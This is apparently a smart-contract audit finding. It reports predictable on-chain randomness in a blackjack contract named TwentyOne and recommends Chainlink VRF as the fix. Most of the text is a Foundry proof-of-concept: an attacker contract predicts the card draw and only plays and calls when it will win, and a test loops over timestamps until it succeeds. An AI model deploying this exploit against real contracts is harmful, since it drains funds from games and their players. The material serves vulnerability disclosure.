The primary issue stems from generating a pseudo-random index using predictable blockchain inputs, allowing attackers to predict the outcome and gain an unfair advantage.
This approach is vulnerable due to the predictability of the inputs used to generate the random index. The attacker can create an attack contract and can predict the result of the drawCard and call function before calling it.
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {TwentyOne} from "../src/TwentyOne.sol";
contract TwentyOneAttacker {
TwentyOne twentyOne;
uint256[] availableCards;
uint256[] playersCards;
constructor(address twentyOneAddress) {
twentyOne = TwentyOne(twentyOneAddress);
}
function initializeDeck() internal {
require(availableCards.length == 0, "Player's deck is already initialized");
for (uint256 i = 1; i <= 52; i++) {
availableCards.push(i);
}
}
function drawCard() internal returns (uint256) {
require(availableCards.length > 0, "No cards left to draw for this player");
uint256 randomIndex = uint256(keccak256(abi.encodePacked(block.timestamp, address(this), block.prevrandao)))
% availableCards.length;
uint256 card = availableCards[randomIndex];
availableCards[randomIndex] = availableCards[availableCards.length - 1];
availableCards.pop();
return card;
}
function playersHand() public view returns (uint256) {
uint256 playerTotal = 0;
for (uint256 i = 0; i < playersCards.length; i++) {
uint256 cardValue = playersCards[i] % 13;
if (cardValue == 0 || cardValue >= 10) {
playerTotal += 10;
} else {
playerTotal += cardValue;
}
}
return playerTotal;
}
function startGame() public returns (uint256) {
delete playersCards;
delete availableCards;
initializeDeck();
uint256 card1 = drawCard();
uint256 card2 = drawCard();
playersCards.push(card1);
playersCards.push(card2);
return playersHand();
}
function attack() public returns (bool result) {
uint256 totalValue = startGame();
uint256 standThreshold =
(uint256(keccak256(abi.encodePacked(block.timestamp, address(this), block.prevrandao))) % 5) + 17;
if(totalValue >= 20 && standThreshold < totalValue) {
twentyOne.startGame{value: 1 ether}();
twentyOne.call();
return true;
} else {
return false;
}
}
receive() payable external {}
}
function setUp() public {
twentyOne = new TwentyOne();
twentyOneAttacker = new TwentyOneAttacker(address(twentyOne));
vm.deal(address(twentyOne),10 ether);
vm.deal(address(twentyOneAttacker),10 ether);
vm.deal(player1, 100 ether);
vm.deal(player2, 10 ether);
}
function test_Attack() public {
vm.startPrank(player1);
for (uint256 i = 1; i < 1000; i++) {
vm.warp(1732427690 + i);
bool result = twentyOneAttacker.attack();
if (result) {
console.log(address(twentyOneAttacker).balance);
return;
}
}
vm.stopPrank();
}
To address the vulnerabilities, it is recommended to use a secure randomness provider such as Chainlink VRF (Verifiable Random Function).